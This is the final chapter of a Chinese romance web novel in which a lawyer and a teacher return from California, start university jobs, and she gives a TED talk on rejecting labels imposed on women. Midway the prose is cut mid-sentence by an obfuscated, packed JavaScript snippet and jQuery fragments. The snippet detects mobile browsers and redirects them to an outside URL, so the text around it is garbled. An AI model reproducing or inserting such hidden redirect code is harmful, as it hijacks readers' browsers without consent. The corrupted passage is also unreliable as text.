之后的几天,谈秋宁跟靳繁没急着回国,在加州多待了两天,一是因为天气原因,二是,也想让靳繁休息一下,原本已经高度紧绷忙碌了一周多,还没来得及喘口气,却又遇到了人祸。
趁着忙里偷闲的时刻,谈秋宁又陪着靳繁一起去医院看望了李清樾,他状态已经好了很多,除了受伤的手臂暂时还拿不起东西,甚至连手机也拿不稳当,其他方面身体机能检查过后一切如常。
“先好好休息,医生说了,过了恢复期就好了。”靳繁坐在病床一旁,随手拿起床头柜上护工洗好的苹果,握在手心里,“不要心急,安心养着,有什么需要尽管跟我提,不要不好意思。”
这次带上李清樾也是因为靳繁准备退居二线做兼职律师了,必须得培养一批新人出来,增长实战经验。
“靳律,您以后真的不做律师了吗?”李清樾答非所问,躺在病床上,眼巴巴地瞧着靳繁。
他内心一直无比崇拜靳繁。
在这次数额高达百亿的经济案中,靳繁却能逆风翻盘,打赢这一局,将20%的胜率变成了100%。
当时,委托方选择靳繁也是因为看中他的能力,这个案子,只有靳繁接,才有赢的把握。
靳繁长条手指握着苹果,另一只手持水果刀削皮,拖着懒散的音调说:“只是不以律师为主业了,但我会更多的选择权。”
他名下除了律所外,投资的还有其他产业,当初跟楼山一起去的LiveHouse也是其中一个,是和楼山一起投资的产业。
那天的接风宴,地点是楼山定的,他说钱不如给自己赚,便去了自家名下的LiveHouse,没曾想却意外碰到了谈秋宁。
李清樾目光盯在靳繁身上来回扫荡,吞吞吐吐半天也没吱声,而后后者看穿他的心思,促狭地笑了一声,“有什么话,直说。”
“靳律,跟你一起来的,是师母吗?”李清樾试探性地问。
靳繁是李清樾的带教律师,如果是男女朋友关系,那谈秋宁便算是师母。
谈秋宁给他和李清樾留私人空间,只有刚进来时简单打了声招呼,而后便坐在外头的长椅上。
闻言,靳繁的目光扫了一下门窗的位置,眼底带着笑,悠悠地收回视线,应了声,“是。”
“怪不得。”
李清樾小声嘟囔了一声,一切都有迹可循。
当初谈秋宁到君领时,本不该分到靳繁手中,但靳繁却主动找到李清樾,让他“合理合规”地走流程打电话,然后名正言顺地接了谈秋宁的案子。
靳繁没听清,“什么?”
李清樾摇摇头,只说没什么。
-
回青江是在两天后,飞机巨大的引擎声响彻耳膜,三英里的天空中厚厚的云层积压成一团又一团,不远处一缕金色光辉斜照下来,透过窗户望去,色彩斑斓的光线透过云层缝隙折射成纱布般霓彩色。
谈秋宁难得闲下来,手机握在掌心,有一搭没一搭地撂来撂去,她抬眸,嘴角微不可察地翘起,“靳律,你真没什么事情瞒着我吗?”
闻言,靳繁脑海中的警钟长鸣,细细揣摩后开口说:“没有啊。”
谈秋宁挑了一下眉,不意外地盯着靳繁:“那你给我说说‘氧化锌’这个账号是怎么回事?”
空气静滞两秒钟后,靳繁的手伸到谈秋宁那边,温热的手掌心握上她的手,两掌心相连共奏同一首心动曲,而后清了清嗓子,以清润的声线认真地说:“我不想把这些当作筹码去证明我爱你这件事。”
“本是无心之举,拿到台面上说反倒显得刻意。倒像是以道德为名绑架你,好像非要你同等爱我一样。但其实不是,爱你是本能,如若这件事成了负担,那不如不说。”
谈秋宁瞄了他一眼,然后说:“算你蒙混过关。小嘴叭叭的,挺会说。”
靳繁止不住控制地朝她靠近:“怎么发现的?”
谈秋宁坦言:“那天偶然在‘重建西城计划’账号下的评论里翻到的。顺着鱼饵找到了你的账号,虽然你隐藏了作品,但互联网上依旧留有痕迹,很多博主截图转发了,所以我还是能看到的。”
话音落,她的眸光颤抖地闪动了一下,五指用力回握住他的手,思绪开始涣散,想到踏上回国航班之前跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436399|180218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靳佳敏夫妇一起吃了顿饭的那晚。
靳佳敏偷偷告诉谈秋宁,当初第一次得知靳繁喜欢上她时,因为担心他是一时兴起,担心他是一时上头,担心他会伤害到谈秋宁,于是她跟陈教授多次旁敲侧击过靳繁,可他却从未松口过一次。
紧接着靳佳敏揽着谈秋宁的脖子继续对她说,因为受父母影响,他们姐弟俩都对爱情有高标准需求。所以当时她还问靳繁:“那你怎么保证是soulmate呢?”
只记得靳繁说:“因为我明白了小王子找到玫瑰时那一帧浪漫瞬间。”
她依旧尖锐反问:“或许,玫瑰只想做一枝独立的玫瑰。”
“那不一定是小王子,也可以是土壤下的B612,或是扑面而来的一缕温风。”
而今,谈秋宁脑海里回荡着靳繁曾说过的这些言语与两人曾有过的路程,紧紧盯着面前他的脸庞,学着往日他捏她指尖的动作,柔声地开口说:“靳繁,说真的,谢谢你,谢谢你陪我完成一趟自我修炼的旅程。”
靳繁紧紧搂着她的肩膀,不正经地说:“从前最怕你喊我‘靳律’,你知道我现在最怕你对我什么吗?”
谈秋宁疑惑地看了他一眼,而后,听到他拖着慵懒的声线回答:“最怕你对我说‘谢谢’。我不要这两字,如果可以替换,那我想奢望一点,把‘谢谢’同等换成陪在你身边的日子,让我陪在你身边久一点,再久一点。”
“我还以为……”
“以为什么?”他挑眉,不怀好意地盯着谈秋宁,故意地凑到她耳边,轻轻吐露一句话。
闻言,谈秋宁脸色僵住,伸手打了一下他的肩膀,没好气地说:“你有病吧,靳繁。正经不过一分钟。”
不日飞机成功抵达青江国际机场。
青江大学的聘任流程已经走完,回到悦水湾后,趁着周末休息了两天,新一轮工作日转瞬即来,谈秋宁开始正式上班。
第一天工作结束后,谈秋宁刚上完课走出教室,摁亮手机屏幕,看到靳繁发消息对她说,他在教学楼门口等她,而后,指尖向下移动,再次收到宋韵书的消息:
【秋宁姐,虽然你第一次拒绝了我,但我还是想尝试第二次,如果你愿意,随时欢迎。静候佳音。】
经历过加州这一趟后,谈秋宁愿意走出舒适圈,去尝试另一种可能,所以这一次,她答应了宋韵书。
之后,宋韵书喜上眉梢,将具体ppt方案发给了谈秋宁。
而后,谈秋宁收拾好东西走出办公室,瞧见了早早停靠在路边的靳繁,她迈着轻盈的步子走过去,拉开副驾驶的车门,扣上安全带。
“给你讲一件事。”
“巧了,我也有事跟你说。”靳繁眼尾止不住地上扬,言笑晏晏地盯着谈秋宁。
谈秋宁:“那你先说。”
“我们以后可以一起上班了。”靳繁没再卖关子,直言道,“今天青江的聘任证书下来了。”
“你有病吧,靳繁。”谈秋宁讶然地挑了一下眉,脱口而出。
靳繁从喉间挤出零零碎碎的笑声:“没有。这是我深思熟虑后的选择。我不选择青大,便只能顺从我爸的意愿去考公,但体制内的生活更不适合我。”
而后,他又接着说:“或许,你可以理解成,这是我迟来的叛逆期。”
谈秋宁拆穿他:“关于考公这件事的叛逆期,大概延续了十几年了吧。”
从上次去家里给陈教授过生日那次,谈秋宁或多或少地听到陈青梧提及这件事。
靳繁没忍住地笑出声,车内响起爽朗的笑声,“不要拆穿我,好不好?”
他下意识地想要抱她,却被她拍了下肩膀,“好了,不闹了。那来说一下我的事,我接受了韵书的邀请,10底去海溪。”
“到时候我陪你去。”靳繁眼里的光柔和了半分盯着谈秋宁,“期待小谈老师解锁新的人生体验。”
谈秋宁:“不用。”
10月份,关于贾珏肆意造谣一案开庭,事情赶在一起,她不想让靳繁来回奔波,没必要。
“那我想去呢,小谈老师。”靳繁眸光定格,不让步半分,他明白谈秋宁的意思,但他不觉得是奔波。
跟爱人一起忙碌是享受。
谈秋宁叹了口气,知道拧不过他,“你怎么那么轴呢,靳繁。”
-
时间像开了加速键转瞬即过,10月底如期而至,TED在海溪隆重举行。
谈秋宁忙完青大的课程后,独自踏上前往海溪的路途。命运如此戏弄人,靳繁还是未能如愿陪她一起去。
步入10月以来,靳繁一直忙于造谣诽谤案,她演讲那天,正好是靳繁的开庭日。
尽管各地已经入秋,但海溪依旧煦日和风,临近傍晚,陆风缓缓拂过,送来闷热潮湿的热气,金乌渐渐下沉,藏匿在枇杷黄的云层后,演讲于七点正式开始。
谈秋宁身着一身白色休闲西装,领口微敞,头发微卷散在肩后,她手举着话筒,漏出白净的腕骨,腕骨上戴着生日时靳繁送的小腕表,拖着清润的声线开口:“大家晚上好,我是谈秋宁。
今天的主题想分享的主题是:撕碎标签,成为更好的自己。
以我为经历,希望给在座的各位同道中人一点点鼓励,或是共鸣,希望我们殊途同归,成为理想中的大人。
在开始之前,先说个题外话,在写演讲稿时,突然发现,我好像一直在和标签做斗争,这也算契合了主题。(笑)
第一,我撕掉的是‘烈士子女’
别人骂我时,我从未主动提及过。因为这对我来说,是伤疤,是一生的潮湿。
在一个月前,那场人尽皆知的风波里,本来没想站出来作回应,但看到数不清的恶言恶语刺向我的父母时,我才发现,我高估了,我做不到无动于衷。
回应后更是没有想到,会被官号转发。
那是属于我父亲的荣耀,但我不是以此加重自身砝码的杠杆,所以我仍不愿以“烈士子女”的标签标榜自己,希望这场演讲完毕,众人也可以从我身上撕掉这个标签。
于世人而言,他或许伟大,或许非凡,但于我而言,我的父亲只是一位平凡、有理想有信念的人,所以,“烈士子女”是我要撕掉的第一个标签。
第二,撕掉“好学生只会死学习”的标签。
这也是我最讨厌的标签,所以伴随我整个学生时代,一直在与它抗争。
在我观念体系里,每朵花都有自己的花期,或早或晚,但一定会绽放,所以,我认为不能简单地用“好”与“坏”来区分。
并且,这个“好”,太过单一,仅仅指学习一方面,但当我们步入社会时,“好”的范围会被推广、延伸,不再是单一的标准化,那么先前被构建的单一体系经不住考验,会彻底崩塌,显得毫无价值,所以我不喜欢这个标签。
在座的诸位,每个人都为梦想拼尽全力,或摸打滚爬,或披荆斩棘。站在世界面前,我们或许渺小,或许平凡,但至少我们拥有抵抗的勇气,那么我们就是顶顶了不起的大人。
我们走上殊途,而今同归于这里,因此,在这里我不再赘述我的成长之路。
好了,以上两点为抛砖引玉,接下来,我想跟大家来谈谈本次主题最关键也是最核心的内容:
第三,撕掉所有物化矮化丑化女性的标签。
这个范围太过宽泛,我来细化一下,分为以下几个部分。
首先,撕掉“单亲妈妈”的标签。
老实讲,离婚后的很长一段时间里我都被困在这个标签里。
当我发现丈夫出轨后,我没告诉任何一个人。我独自找律师、收证据、打官司、带我女儿一个人从燕洛回到青江。
我拼命想要证明自己,想要证明自己一个人可以撑起整片天地,能够兼顾工作与孩子,所以回到青江后,我迫不及待地想要搬出去。
还记得,我哥当时对我说,不要听进去前夫的话,但当时的我没办法真正做到不理会。当我开始重新接轨社会时,发现“单亲妈妈”这个标签是刺向我的第一刃,不少单位因为这一标签把我拒掉,所有的所有,都在告诉我,我没办法得到一个公平的工作岗位,他们会以“单亲”“母亲”“女性”等等,这些标签来称呼我。
所以,正是因为这样,我才更想要去撕掉这个标签。
值得庆幸的是,万分之一的可能里华阳中学给了我第一个offer,我永远记得那天面试的青江,至今回忆起,我仍万分感谢。
其次,撕掉“女性独立”的标签。
在我看来,这个标签是新时代隐喻物化女性的新方式。
其实女性独立最大的骗局,是我们好像从小被“父权”压制、被社会的定义标尺裹挟着自己,后来读过书,又拼命地想要挣脱掉这件束缚:我要精神独立、经济独立、生活独立,不谈恋爱不结婚。
可我们忘了,男性也并不是什么都不靠,就走向了成功。他们可以理所当然地站在前辈肩上看世界,回过头来,再标榜、吹嘘自己的成功,依旧会有很多人拥护,因为社会环境对他们太包容了。
相比之下,我们女孩子追求的独立,就好像从一个极端到了另一个极端。
还是以我本人为例,我从“单亲妈妈”的标签走出来后跳进的第一个坑便是“女性独立”。
我拒绝哥嫂、挚友对我的所有帮助,靠自己找到华阳中学工作的时间里,将自己全身心的精力投入到工作中,独立带着女儿生活,关闭个人所有的感觉器官,拒绝了一次又一次我如今的爱人。
是,如今的我不再受任何标签桎梏,找到了一位我想要为之一生携手走下去的爱人。
好了言归正传,我追求“女性独立”,其实是束缚住了自我,给自己封了一层又一层的保护壳。
我给自己设置了高到超乎能力之外的道德门槛,苛刻地对待自己。封心锁爱,不依仗任何人,追求精神独立。
我心里已然成了围墙,禁锢着、束缚着我,让我画地成牢,无法挣脱。
直到后来,那天晚上,我翻到高中日记本上写下的《山月记》的一句话,我突然明白了,困住我的其实是我一直苦苦追寻的“女性独立”,是这个标签。
正因为鼓吹“女性独立”,所以我拼命地想要挣脱掉“单亲妈妈”这个标签,转头却无意之中跳进了另一个陷阱。
当我意识到,我痛苦的来源是因为我过分地、苛刻地追寻女性独立,根源是我过分地在意别人的眼光以至于我忽略了内心的主体感受时,我开始尝试撕掉这个标签,当我不在把别人的眼光当做认同感的来源,不再把世俗意义上对女性的定义强加到自己身上,只有这样,我才是真正的谈秋宁。
所以,在这一论点里我想说的是:亲爱的女孩们,不要将本身向上的生命力变成自我约束的枷锁。
想谈恋爱就谈,想结婚就结,随心所欲,做你想做的任何事情。没有人规定人生的标准答案,所以请真正、发自内心地尊重主体意识,这才是我们所倡导的“女性独立”。
第三,撕掉所有刻意突出强调“女性”的标签。
讲到这里,大家应该也能听得出来,这其实是社会环境造成的一系列连锁反应,以上的每一条都不能够完全地拎出来单独讲,所以我把矮化、丑化放在一起探讨。
首先,我发出一个疑问,为什么在道德范围允许内,这是必要前提哈,爱钱爱权的女性要被打上“捞女”的称号?
在我看来,“捞女”称呼的本质是什么?
本质还是父权社会下,男性享受的掌控欲,对女性的矮化。
而那些同样靠女人上位的男的,我们却从未听过“捞男”这个词,而是以“凤凰男”相称。“凤凰”是祥瑞,男性还真是会给自己脸上贴金。
这好像又回到了上一条所说的“独立”。
男性依靠父母也好、依靠女人也罢,没有人会深究他是怎么走到这个位置上来的,只会将目光聚焦于世俗意义上的成功。
但女性却不同,这也是为什么在上个月爆发风波时,我没有在第一时间回应的原因,或许可以理解成是我个体对整个社会环境小小的抗争。
当一位女性凭借出色的能力走上高位时,人们的注意力往往不在于她多么优秀、多么出众,而是关注她的外貌、身材,关注是否存在权色交易。
但社会上任何一位成功男性,走向高位的男性,没有人会在意他们的私生活,更不会把这些当作酒后谈资。
这本身就是矮化女性的一种手段。
而男性也理所当然地抓住女性的这一致命弱点,刻意放大,成为攻击女性竞争者的第一利剑。在华阳时是这样,青江大学面试中也是这样。
为什么呢?因为他们也深知,黄谣一旦被扣上,是一位女性永远都摘不掉的帽子,是毁掉一位女性最容易、最简单也是成本最低的方式。
因此,在我人生第三次陷入黄谣的舆论风波时,也就是大家认识我的时候,我本人其实并不急于自证,因为我能走到今天,那必然不会在乎别人怎么看我了。
我不会再去费口舌之争辩是非对错,而是会提升自我,提升硬实力,完善软实力,给自身体系加重砝码。让我的价值、我的贡献能压过这些谣言时,为自己争取一份更公平的权利时,问题的答案或许就会发生变化。
但在这里,我还想要特别感谢一下我的爱人。
谢谢他,在第一时间为我冲锋陷阵,收集证据,举证证据链,以及后续一系列的事情都是他在弄,他比我本人更难受。
谢谢你,你辛苦了。”
谈秋宁从站到舞台中央时,便注意到了靳繁早已在不知不觉中坐到了观众席。
今天刚结束造谣诽谤案的官司,贾珏等人均已付出相应的刑事惩罚。
案子结束后,靳繁便匆匆忙忙地赶最近的一趟航班赶来现场,只因为他不想缺席谈秋宁人生中任何一个重要时刻。
正如此刻,他身着一身黑色大衣坐在会场席,周围气场还透着赶路时带来的冷冽,内里搭配了一件白衬衫,领口处打着黑色领结,他双手十指交叠,随意地搭在腿上,目光聚焦于台上聚光灯下的谈秋宁,与她对视的瞬间,嘴角咧得更开,眼底倒映着零零碎碎且柔和的星光,与周围气场显得格外不同。
而后,他见谈秋宁收回视线,手握着话筒,摁动遥控器,翻动下一页ppt,清脆地开口继续说:“那么,再次回到前面说的,为什么会不在意?
本源是因为,我发现这是一种丑化女性的行为。
将女性与桃色新闻联系在一起,贬低她的价值,我自认为这是一种丑化,当然也接受不同的声音。
以我的观点,举个例子,我们所身处的父权社会一直在营造一种女性屈从、攀附的环境,我们从小接触过太多给男性附魅的事情。于是,我开始反思:
为什么睡美人的最后要靠王子的吻才能获得幸福生活?为什么灰姑娘里要把王后的恶毒放大,让纵容且无能的父亲美美隐身?为什么田螺姑娘的形象被刻意附在女性身上去营销贤妻良母、任劳任怨的形象?
以上,其实都是在刻意地矮化丑化女性。
那么,从童话回到现实中,回到问题的本源上,娱乐圈里女明星的容貌会被评为优劣差等级、热搜标题上任何刻意带“女性”字眼的标题都会拥有更大的曝光度、当女性行为被放大到公众视野之下被审判……
当这一现象被世人习以为常时,今天的主题“撕标签”便正中眉心。
因为社会上任何一个成功的男性,没有人会称他们为“男强人”,也没有人会紧盯着他们的私生活,更没有人把他们当作饭后谈资。
但相同的问题被反射到女性时,曝光度增大、恶意值升高、探讨度达到峰值,这时便需要我们思考了,我们追寻的到底是一个怎样的社会。
就我个体而言,尤其是我哥哥生病那段时间,我想通了很多事情,与其我一直向上、消耗自己的能量去抗争那些标签,不如我直接撕碎它。
所以也请诸位女性主动撕掉所有刻意强调“女性”的标签。
什么乱七八糟的标签,越是存在,越是拉垮女性身上的力量。
care吗?don’tcare.
请不要再关注任何一个标签。当我们不再聚焦于某某女性的私生活,把天赋人权、公平、相同的权利与机会彻底横在男女之间时,那才是真正的平等。
任何刻意强调女性的字眼,看似标榜自由独立,实则是新时代的隐形标签,和清朝的“裹小脚”没有本质区别。
与此同时,我们也会发现,当女性突破时代桎梏发出声音时,被危机到的男性便开始以“女权”否定一切声音,甚至是打压。
同样,我也不是鼓吹“女权”,但平心而论,当今为什么女性问题一直在被强调?
因为还未被看到、因为亟待被解决。
如果一味地把正常、合理、公平的诉求掩埋于浪潮之下,那么巨大的危机将蛰伏于风平浪静的海平面之下。
最后,我想说,亲爱的女孩子们,请正视野心,尊重欲望,懂得利用优势条件去置换条件,做到物物而不物我。
也请社会给女性多点善意。真正“不参与女性的任何一场围剿”从不是一句空话,而是尊重女性可以成为任何模样,她可以做不违法、不违背公序良俗任何的事情,享受平等的权利。
美好健康向上的社会环境还是要靠大家。
女性不仅仅是要争取上桌吃饭,还要掀翻桌子重新做饭,让后辈更有底气、有干劲!
最后的最后,想再补充最后一点,主办工作人员找到我时,我推脱了过一次,因为就我本身而言,我并不是很喜欢这样场合,主动把自己剖开展示在大众面前,我不想以我的经历去说教一些什么,更不是想要站在道德的制高点去评判什么。
虽然哪怕我说不想说教什么,但我的演讲已经带了我的主观观点。(笑)
那大家就当听个乐呵,如果你从中共鸣到一点答案,那我今天就算没白来;如果你有不同的想法,也随时欢迎跟我探讨,我们一起找到更平静、更舒适的生活方式。
谢谢,谢谢大家,愿意听我说。”
声音最后一个音节落下的瞬间,台下响起了的雷鸣般的掌声,谈秋宁深深鞠了一躬后从台上撤退。
演讲结束后,她的任务全面完成,没继续留在喧闹的现场,逃到后台,收拾东西准备离开,空闲之余,翻看手机,在通知栏里看到了两分钟钱靳繁发来的消息:
靳:【我在门口等你。】
谈秋宁刚进行完一场剖析自我的演讲,看到靳繁的这条消息,心尖不由自主地被戳中,他总是能轻而易举地捕捉到谈秋宁的想法,她简短回了一个字之后,关掉手机,拎着包,跨着大步走到门口,一眼瞧见倚在门口的靳繁,他倒立的身影被头顶的灯光拉得细长倒映在停车场的推拉门上,她盯着靳繁的身影,心角的酸涩蔓延开来。
只见,他听到脚步声,缓缓抬眸,对上谈秋宁那一双一见如初的眼睛,她正歪着脑袋盯着他笑。
下一秒,他的心脏被撞了一下,谈秋宁小跑过去紧紧抱住他,鼻尖还萦绕着风尘气息,闷闷的声音穿透身体,直击他的心口:“今年冬天一起看雪吗?靳繁。”
“如果可以,每年冬天,我都想与你一起看雪。”
此刻,世界变得静谧,仿佛所有的时钟被按了暂停键,老式电影胶卷上卡播着紧紧相拥的恋人。
如果可以,也请让爱,延续至永恒。
—正文完—